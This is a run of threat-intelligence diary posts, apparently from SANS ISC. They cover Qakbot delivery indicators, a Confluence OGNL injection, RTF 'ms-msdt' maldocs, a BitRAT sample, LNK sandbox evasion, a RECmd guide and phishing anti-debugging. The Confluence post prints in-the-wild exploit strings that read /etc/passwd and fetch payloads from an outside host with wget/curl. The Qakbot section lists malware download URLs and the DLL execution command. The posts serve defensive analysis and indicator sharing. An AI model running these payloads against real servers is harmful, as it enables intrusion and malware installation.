• 6b46db5ba757066c7872e6ada49ff23016a87cc3b24e22111809c56ad66d5b17
• 8c5bea919f8c4abd0ba6d228a817ae3b7af9e6f13fafba69a1d2b6aac56dabcf
• e7b7b01ae0964dc285f480feae85e157d796bf7263f7bc1018d1030647cb28ac
• 2ce0921bcec42ab238140c9e811db564b0d93c11ffae4eb2e03ce5e45a885637
• b8679b5c38bca0b2de5e238f29c4ad293c6051435d54711eba2197c42a6e0c80
• 3ffb696484d28acbda12a73dde1ec3a68d75657b22af667f5104d83690a74de9
• c912048a25a7dd2f85fac3169fff008f6ebd9894b2fb6b98267b170c078b618c

Names of 11 zip archives generated by the above HTML files:

• 03792072_874241.zip
• 20755103_822431.zip
• 23891652_978954.zip
• 55088410_803346.zip
• 55448947_903195.zip
• 58218799_257561.zip
• 65058266_101487.zip
• 68101181_048154.zip
• 69849517_238275.zip
• 71875983_866759.zip
• 85873035_409355.zip

SHA256 hashes for the above zip archives:

• e24ce87a20c17bafe9da942722492e2a81328dd9dc3b6af574c1dad4112daff1
• 7a42a6182fc3b96b3de4aace5cc97c7c28017d9cfa154c410829caac3ca612c4
• 994caa143ec7cedccf52a1e446fe2255e862924575c6c5b89a6af269bf3f3b71
• 4a9f728b44c1827ed42a28d9b63bd3a5edf37ad0df34ad291ce8911329bf25c1
• 2c0dae888de793f55b3c04d3cc9218e52b8e7a265776e231f62c14893e6bf2e5
• 6e210c37f08f0723549af3e0a766bfef0703f4b35e6f60ca2f5d4ba1ca876bb1
• 6bac41ebf365ee7a9f97ea84ed8e5f87e0799cbe2e38158b48d78f7d4746b821
• aa114cb2d5b8043d72b8869f7c63cbc95078298233e37d258bcf04d37ded68e5
• 95baf71d1ffc7a2677f77f824913d6c9f63dc8128ae9145930594831bfdabc45
• 7de0f9f25bc8a3edb631ff42573719ccb0ad1ed2eeca54ad3dea63fb7f04d3be
• 49bc1574020858f2277da948ecc44acc830e3cf1fd09f04d10f70462e3ed0d99

Names of 11 disk image files extracted from the above zip archives:

• 03792072_874241.img
• 20755103_822431.img
• 23891652_978954.img
• 55088410_803346.img
• 55448947_903195.img
• 58218799_257561.img
• 65058266_101487.img
• 68101181_048154.img
• 69849517_238275.img
• 71875983_866759.img
• 85873035_409355.img

SHA256 hashes for the above disk image files:

• 7e0a345fba5c7ad1d8196139a1ec8a66cf8ee7bee85627b9b9ccaa856d723ed5
• 85b4504543ed58861a85899b4c1cd315fbc9bd31540ce74e7730495a9384eef2
• 859bb10ac5b012f2af49dd9c6fe3463c60937e4054b395e5e5f2e2206a6fa6e7
• d9a19da9543b921c03e089a0c78a35ef1cc5bc378e2e457b5cea97b70f4490a7
• 85591984196580620887922be65f053a7220ec455737a845d1f8da0665983524
• d9ac855c390cab8ab44970b838cb6b27a12f7771e3cfef064ff84a98555e0ba4
• 33dff4aa9b4cc2f078638966b7d0787d4bd5b75b24b266e354b005fbb515e2d3
• c77c63b0ad713ca97776305af4b22cd934271fec00f3c8029bdbbfcf8cd1ed98
• 090f652b176dfb8bb7ceaca8863ebf2041e250bb21b208fecdfa4d917aed5637
• 997c4a9c2507695477552a98f89ebe64aea1685ac3309f42e7713d13ee3056f1
• 9ad904b6ec926b0f03d856c3d57feb009c811f31e5676884db95f7d7652fd73d

Names of 11 Windows shortcut files contained in the above disk images:

• 03792072_874241.lnk
• 20755103_822431.lnk
• 23891652_978954.lnk
• 55088410_803346.lnk
• 55448947_903195.lnk
• 58218799_257561.lnk
• 65058266_101487.lnk
• 68101181_048154.lnk
• 69849517_238275.lnk
• 71875983_866759.lnk
• 85873035_409355.lnk

SHA256 hash for all of the above Windows shortcut files

• 03160be7cb698e1684f47071cb441ff181ff299cb38429636d11542ba8d306ae

Command generated from the Windows shortcut:

• C:\Windows\System32\rundll32.exe 019338921.dll,DllInstall

Name for the obama186 Qakbot 32-bit DLL files hidden in the 11 disk images:

• 19338921.dll

SHA256 hashes for 10 obama186 Qakbot DLL files hidden in the 11 disk images:

• 17af3b12512b3430d59ca594bc16171c66ec49db4458cb2de887b83e9f37860b
• 31de1b6c455784d6524cc3db4b37360782f260ddedf414d60dd4c96913512f48
• 41623849299f5f6d5551f9e58476a5df527cef441f65076d2526ea8a1437b3ed
• 5577643e4028eb610c688d5ab703cd6c80c60aa99048414f1803e7264183c366
• 68aee52f4bee3cf4d50f33110f439249dbe450f65f3ba09a0d833882ad8ded11
• 71c9229eb849ed2ff17ef435b385ba98aeaae931849ff226621b39fd31e00976
• 765844ed4f11fb1a050994f5d0a589fff04b2e6342acab17f373626f7583e10a
• af8232f3a789672602db9937217882f6d52f4640a258403ed3531172afca7220
• cef129dbfb9dc93e9937a60f2c31d292db8e3591a349f101923be8d05886920d
• e13fca7c957ae5064cdba0a1cea672031d7b8a56ee876bfa0c1a0505dc8ef24f

Names of 11 .docx files contained in the 11 disk images:

• doc106.docx
• doc276.docx
• doc310.docx
• doc632.docx
• doc672.docx
• doc708.docx
• doc879.docx
• doc1454.docx
• doc1750.docx
• doc1792.docx
• doc1848.docx

SHA256 hash for the above .docx files:

• d20120cc046cef3c3f0292c6cbc406fcf2a714aa8e048c9188f1184e4bb16c93

URL contained in XML file from the above .docx archive:

• hxxp://185.234.247[.]119/123.RES

SHA256 hash of the above 123.RES file:

• e3ba1c45f9dd1f432138654b5f19cf89c55e07219b88aa7628334d38bb036433

Examples of URLs contained in script from 123.RES that returned obama186 Qakbot DLL files:

• hxxp://104.36.229[.]139/75257103.dat
• hxxp://85.239.55[.]228/75257103.dat
• hxxp://185.234.247[.]119/75257103.dat

Example of User-Agent string in HTTP request header for the above URLs:

• User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.431

Examples of obama186 Qakbot DLL files retrieved from the above URLs:

• 6a16d1ec263eeacd6d5b2eb1855337a0aeeacd8020df840a0d883f973b3111b7
• 767e1d12493cb7de999a85323da06190706324397d26af020b9bc833c6d5b7f6
• 62acb357d94bebb8ee25761e5b7b0188f44e5c69156bbcb884884d1fe6b2838a

Final Words

As mentioned earlier, I was unable to get the Follina exploit to work in my lab environment.  And the next day (Wednesday 2022-06-08), TA570 did not include a .docx file in disk images associated with obama187 Qakbot.  The disk image --> Windows shortcut --> hidden DLL method of Qakbot infection worked in my lab environment, though.

I've posted the associated emails, malware, and a pcap of infection traffic from a TA570 obama186 Qakbot infection from Tuesday 2022-06-07 here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Last week, Atlassian patched an unauthenticated remote code execution vulnerability in its Confluence Server and Data Center products. Confluence is a "Wiki" like product used by software development teams to document and organize the software development process. I would expect that most Atlassian customers use the cloud-hosted version of the software managed by Atlassian. But if you are running your own Atlassian server, you had to patch this yourself. Sadly, the vulnerability was discovered after it had already been exploited. The vulnerability was originally discovered by Volexity during incident response [2]. Once the details became known, creating new exploits was made easier due to similar vulnerabilities affecting Atlassian products in the past.

The vulnerability is an OGNL Injection vulnerability. OGNL (Object Graph Navigation Language) is an expression language for Java objects. Simplistically speaking, think of it as SQL injection. But instead of injecting SQL, you are injecting Java code that is being executed.

Here is one of the typical exploits you may be seeing used against Atlassian:

/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%2011762x11762%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.Buffered

Let's URL decode this, and add some line breaks for readability

/${(#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('echo 11762x11762').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new  java.io.Buffered

This would be a typical exploit to detect if a system is vulnerable. If the result of the operation is returned, the system is vulnerable. Here are a few other exploits we currently see:

(URL decoded and only showing the first couple lines)

Retrieving /etc/passwd:

/${(#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new  java.io.Buffered

Vulnerability scanner at work

/${(
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("echo vulnerable-status-determined-by-nexpose").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActio

Downloading more (malicious) things

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("(wget http://209.141.14.137/JavaApache||curl http://209.141.41.137/JavaApache)").getInputStream(),"ut

Of course, this is a critical vulnerability. But it is difficult to guestimate how many vulnerable exposed servers there are. A small sample from Shodan et al. shows some abandoned (or honeypot) servers. But just a couple of exploited servers may be a big deal as this may undermine the affected company's development process and could lead to supply chain-style attacks down the road. If you find an unpatched Confluence server: Assume it to be compromised.

[1] https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
[2] https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/ 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In yesterday's analysis "Analysis Of An "ms-msdt" RTF Maldoc", I forgot to include the output of my oledump plugin plugin_clsid.

This plugin does a brute-force search for all classids defined in oletools:

And thus you can see the OLE stream contains an URL moniker.

I also started a new plugin, to parse these OLE data structures: plugin_olestreams (it's a work in progress).

Here is the output:

There is a lot of information in these streams.

To spot the URLs, you can grep for url and item:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Malicious document "aaa.rtf" is an RTF file that downloads a html file that uses the ms-msdt handler to get a PowerShell script executed. This is explained in our diary entry "New Microsoft Office Attack Vector via "ms-msdt" Protocol Scheme (CVE-2022-30190)".

To analyze RTF files, I use my tool rtfdump.py.

In the list of RTF entities, there's an object with an objclass + URL and objdata embedded object:

Here is the URL of the objclass:

And here are the objects:

The first object is an OLE file that can be piped into oledump.py for analysis:

The \1Ole and \3LinkInfo streams contain URLs:

The structure of these streams is documented by Microsoft. But parsing is not necessary for this sample, we can also just extract the strings:

Looking on VirusTotal for the relations of this maldoc, I found PowerShell scripts and a Cobalt Strike beacon:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

This zipped email attachment was received a few days ago and block by antispam policy. It contained a very large ISO/EXE file similar to the diary published by Zavier [1] last week. Instead of using Remnux, I submitted this file to a sandbox. 

This is a summary of the result of the analysis. This malware communicate with the C2 site bitrat9300.duckdns[.]org over TCP/9300. This port is also used by Elasticsearch to connect to remote clusters.

Linux Command

sudo mount -o loop AMD8J46DH_ETRANFER_RECEIPT.iso /mnt
strings -t x AMD8J46DH_ETRANFER_RECEIPT.exe

File Size at Various Stages

-r-xr-xr-x. 1 guy guy 314572800 Jun  4 11:34 AMD8J46DH_ETRANFER_RECEIPT.exe
-rw-rw-r--. 1 guy guy 315176960 May 26 22:37 AMD8J46DH_ETRANFER_RECEIPT.iso
-rw-rw-r--. 1 guy guy   1888843 Jun  4 11:11 AMD8J46DH_ETRANFER_RECEIPT.zip

I noticed the EXE contained the following SmartAssembly URL. "SmartAssembly is an obfuscator that helps protect your application against reverse-engineering or modification, by making it difficult for a third-party to access your source code."[4]

http://www.smartassembly[.]com/webservices/UploadReportLogin/
http://www.smartassembly[.]com/webservices/Reporting/
http://www.smartassembly[.]com/webservices/UploadReportLogin/GetServerURL
http://www.smartassembly[.]com/webservices/Reporting/UploadReport2

VirusTotal currently doesn't have any detection for this malware, currently, Microsoft Defender detect this file as: Trojan: MSIL/AgentTelsa.AFFA!MTB [5]

Indicator of Compromise

bitrat9300.duckdns[.]org (C2)
9842e66708fabef15322d37f432929b28d60b0f240a1613454664917bcbdbf90  AMD8J46DH_ETRANFER_RECEIPT.zip
2b6edc8dd9b00ac316b6aa625f651c513ff614c01d2ca9dc55f0e4cfe5602312  AMD8J46DH_ETRANFER_RECEIPT.iso
02b1606269fdda72f84825701cba28a5a7c5f950a2b58d254b09ac35393fe81e  AMD8J46DH_ETRANFER_RECEIPT.exe

Bitrat Config File

BitRat {"Host": "bitrat9300.duckdns[.]org", "Port": "9300", "Tor Port": "0", "Install Dir": "0", "Install File": "0", "Communication Password": "e10adc3949ba59abbe56e057f20f883e", "Tor Process Name": "tor"}

Setup Schedule Task

C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafdnasia" /tr "'C:\Users\user\AppData\Roaming\namjs.exe'" /f

[1] https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670
[2] https://otx.alienvault.com/indicator/domain/bitrat9300.duckdns.org
[3] https://cybergordon.com/result.html?id=fa580bb0-3536-40ea-a8f3-172a2a571182
[4] https://www.red-gate.com/products/dotnet-development/smartassembly/
[5] https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/AgentTesla.BFA!MTB&ThreatID=2147782052
[6] https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat
[7] https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Today, many sandbox solutions are available and deployed by most organizations to detonate malicious files and analyze their behavior. The main problem with some sandboxes is the filename used to submit the sample. The file can be named like "sample.exe", "suspicious.exe", "<SHA256>.tmp" or "malware.tmp".

Yesterday, I spotted a sample that uses a nice sandbox evasion technique based just on... the sample filename! Some malware families search indeed for specific strings in their executable path[1]. I discovered this interesting file on VT and it was uploaded with the following name:

f0a002c7d2174f2a022d0dfdb0d83973c1dd96c4db86a2b687d14561ab564daa.sample

It has a very low score: 2/58[2] (SHA256: f0a002c7d2174f2a022d0dfdb0d83973c1dd96c4db86a2b687d14561ab564daa)

The file is a Windows .lnk file (Microsoft Windows Shortcut) but, checking its size (375792 bytes), there is more data present in the file:

Something must be appended to the file.

In the .lnk file, here is the command executed. It invokes a command interpreter with a “one-liner” script:

Here is the trick: “dir / b “Comp*.*k”.

The script will look for files matching the regex. The file found on VT does not have the original filename and was initially named “Compliance_2022.lnk”. If your sandbox uses another name, the script will not work and probably reach the sandbox timeout without generating any activity.

Then, another loop is executed based on the result of this command:

C:\Windows\system32\cmd.exe /c findstr "strtxt" "Compliance.lnk"

This command helps to extract another command line:

This generates the following next command:

You can see the presence of an "iex $c" which is an Invoke-Expression in Powershell. Let's decode the Base64 and we have this PowerShell code:

I tried to reach the C2 server but I got an empty reply (and the script exited as shown above):

But if you analyze the code statically, you understand that the C2 server should return a "Set-Cookie" header. The provided cookie contains an encoded JSON string that provides more PowerShell code to be executed through Invoke-Expression.

Because we don't have any persistence mechanism in place, we can assume that the code returned by the first HTTP request will download the next stage and infect the computer.

Also interesting, the .lnk contains an embedded PNG image that contains the commands describe above:

In conclusion, be "nice" with samples and avoid changing names, path, ... that may break their normal execution!

[1] https://evasions.checkpoint.com/techniques/filesystem.html#check-if-full-path-exec
[2] https://www.virustotal.com/gui/file/f0a002c7d2174f2a022d0dfdb0d83973c1dd96c4db86a2b687d14561ab564daa/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

[This is a guest post written by Logan Flook, one of our SANS.edu undergraduate interns  https://www.linkedin.com/in/loganflook]

It is imperative to answer many different questions quickly and accurately during security incidents. Incident Responders need to identify critical pieces of information that could significantly impact understanding the security incident and handling it accordingly. To do this, Incident Response personnel need capable tools to gather this information. Filling this necessity, amongst others, are the massively popular Eric Zimmerman tools publicly available on his website [1]

Within this set of tools lies RECmd.exe, also known as the command-line equivalent to Registry Explorer – Eric Zimmerman's pioneer Windows Registry analysis tool. RECmd.exe allows an incident responder to conduct automated, scripted analysis of a Windows Registry hive and output findings into a CSV formatted file. This is done by providing RECmd.exe a custom batch file, a directory path to a registry hive (or directory of hives), and a directory path to where the user wants results to be stored.

PS C:\Tools\RECmd> .\RECmd.exe --bn BatchExample.reb -f C:\Users\User\NTUUSER.DAT --csv C:\Output.csv

Here we see the command structure as:

RECmd.Exe --bn <Batch File> -f <Path to Registry Hive> --csv <Path for output>

With input such as this RECmd.exe will run searches for registry keys found in the batch file against the specified registry hive and output the results to a specified directory as a .csv file. 

RECmd.exe comes with over a dozen pre-written batch files already created by Eric Zimmerman and the team at Kroll Security. However, users can write their custom scripts as well. This is what sparked my interest in writing a RECmd.exe batch file. I've written a 'User Activity' file to look for a wide array of registry keys that indicate user activity. These include UserAssist, Typed Paths, Recent Files, BAM, DAM, and others. Below is a screenshot of the first 30-odd lines:

Figure 1: User Activity Auditing Script Output

As you can see, RECmd.exe batch files are relatively simple to write. All you need to provide is the hivetype and keypath variables. Everything else is optional parameters to instruct RECmd.exe to include the binary values of keys, look recursively at all subkeys, or add informational tags like descriptions or comments.

The goal of the above script, when run against a NTUSER.DAT hive, is to quickly gain answers to questions such as:

• What files did the user interact with recently?
• What direct paths has the user navigated to in file explorer?
• What has the user searched for in the Windows Taskbar?
• Where has the user recently saved files to?
• What commands has the user ran through the 'Run' utility (Windows Key + R)?
• What shortcut links has the user interacted with?

Running RECmd.exe is incredibly fast, as this example shows RECmd.exe was able to parse one NTUSER.DAT file and retrieve 81 pairs in 0.642 seconds.

Figure 2: RECmd runtime output

The way an Incident Responder can answer these questions is by partnering the RECmd.exe output with another Eric Zimmerman tool: Timeline Explorer. This tool is built for incident responders to parse CSV formatted files.

When opening the RECmd.exe output Timeline Explorer will look like this:

Figure 3: RECmd.exe output in Timeline Explorer

From here, incident responders can analyze the information in the columns to review data. However, where Timeline Explorer truly shines is in its ability to group by columns. This is done by dragging a column header to the space between the CSV name and the columns. Once this is done Timeline Explorer will adjust the view to groups by the values in the dragged column. Let's see how this looks by grouping by the 'Description.'

Figure 4: RECmd Output Grouped by Description

Timeline Explorer now shows six rows, each with a different Description as its title – remember this Description coincides with the description tag that was provided for each registry key in the original RECmd.exe batch file. Let's expand the 'Typed Paths' row and analyze the data here. We see that the user of this NTUSER.DAT file typed in two direct paths into file explorer, as well as the last write timestamp to that registry key.

Figure 5: Last write timestamp to registry key example.

More pertinent information for a security incident can be found in the other columns quickly and effectively.
Combining RECmd.exe's incredibly lightweight and fast analysis with Timeline Explorer's simple grouping view, Incident Responders can gain critical information at an impressive and game-changing pace.

[1] https://ericzimmerman.github.io/#!index.md

Logan Flook
Incident Response Specialist
SANS.edu Undergraduate Intern
 https://www.linkedin.com/in/loganflook

 

It can be interesting to see how phishing evolves over time. It was not that long ago that that a phishing message, which didn’t require the victim to click a link in order for them to be directed to a phishing site, but rather contained the entire JavaScript-based credential stealing page in a well-made HTML attachment was noteworthy[1,2]. Nevertheless, over time, this technique, as well as many others, has become ubiquitous, and e-mail security scanners have become more capable of detecting and stopping messages that use it. Similar improvements of course force threat actors who specialize in phishing to continuously improve their creations in order for them to be viable.

I noticed one such interesting improvement in May, while looking at several phishing campaigns that used the same “kit” for building HTML credential-stealing attachments.

First of the phishing messages I’ve seen was sent at the beginning of the month. It had a completely empty body, and besides being sent from a legitimate (i.e., most likely compromised) e-mail server, the only slightly unusual thing about it was a reasonably well-made and personalized (i.e., with embedded e-mail address of the recipient) HTML attachment that tried to appear as an Outlook login portal and included the initial “opening letter” animation.

Although the JavaScript that defined behavior of the login form was obfuscated, one could clearly see two URLs in it, and it would be reasonable (and correct) to expect that one or both of these might be used by the phishing page to send any input credentials to.

The second and third phishing messages that contained attachments made using the same “kit” arrived near the end of the month, and they were somewhat more interesting… And not only because they did not simply contain empty message bodies, but instead used the somewhat more believable “you have a new invoice” and “new documents were added to your account” lures.

What was more interesting were the HTML attachment themselves. Although they would behave (almost) exactly the same as the attachment in the first message, the JavaScript that was embedded in them was protected by a much heavier obfuscation (due to it, these attachments were approximately 250 kB larger than the first HTML file).

Although it is instructive to see this difference between earlier and later versions of the same “phishing page”, this, by itself would not be noteworthy. What was much more unusual was the behavior of the HTML page when it was open in a browser and an attempt at its analysis was made.

Probably the simplest way to discover which URL a page is communicating with is to open the “developer tools” panel in a browser and look at the network tab.

As you may see in the image above, this worked as one would expect with the first HTML file.

In case of the second and third one, however, the behavior was somewhat different. If one tried to open the developer tools on the HTML page, one would be greeted with a message about paused execution overlaying the page and making it impossible to interact with it, and the debugger window would open in developer tools. The same message and debugger window would be displayed even if one tried to reload the page in the browser, thus complicating any attempts at an analysis.

This behavior was caused by the inclusion of an elementary anti-analysis/anti-debugging technique using the "debugger;" statement[3] in the obfuscated JavaScript.

Although the use of JavaScript anti-analysis techniques is not new, and in this instance it would be trivial to bypass it (one would simply have to deactivate breakpoints in the debugger), it is somewhat unusual to see such techniques being used in a run of the mill phishing page.

At least, it was unusual until now. Although they probably won’t become as ubiquitous as the “phishing website in an attachment”, since similar mechanisms are quite easy to implement and can potentially effectively hinder analysis if an analyst is not aware of how they work, I wouldn’t be surprised if we start seeing more phishing sites and other malicious pages using similar techniques…

[1] https://isc.sans.edu/forums/diary/100+JavaScript+Phishing+Page/25220/
[2] https://isc.sans.edu/forums/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580/
[3] https://github.com/weizman/awesome-javascript-anti-debugging/tree/main/OldGenTechniques/debugger%3B

-----------
Jan Kopriva
@jk0pr
Nettles Consulting